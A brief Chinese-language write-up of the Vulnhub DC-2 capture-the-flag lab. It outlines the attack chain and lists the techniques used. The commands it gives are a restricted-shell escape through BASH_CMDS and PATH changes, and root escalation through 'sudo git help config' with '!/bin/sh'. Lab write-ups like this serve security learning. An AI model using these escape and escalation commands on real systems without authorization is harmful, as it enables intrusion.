Vulnhub——DC-2渗透


一、涉及漏洞类型

CMS漏洞

暴力破解

绕过受限shell

git提权

二、渗透思路

主机发现 => 端口扫描 => 访问web服务 => 拿到flag1 => 暴破登录 => 拿到flag2 => ssh登录 => 拿到flag3 => 绕过受限shell => 拿到flag4 => git提权 => 拿到最终flag

三、学到知识点

1.

compgen -c

查看当前可使用的命令

2.绕过Restricted Shell

BASH_CMDS[a]=/bin/sh ; a  #调用/bin/sh命令解释器
/bin/bash   #使用bash命令解释器
export PATH=PATH:/bin:/sbin:/usr/bin:/usr/sbin  #设置环境变量

3.git提权

方法一:
sudo git help config
!/bin/sh

 四、参考

 https://www.cnblogs.com/chenk0/articles/15527053.html

 https://blog.csdn.net/weixin_45605352/article/details/119416935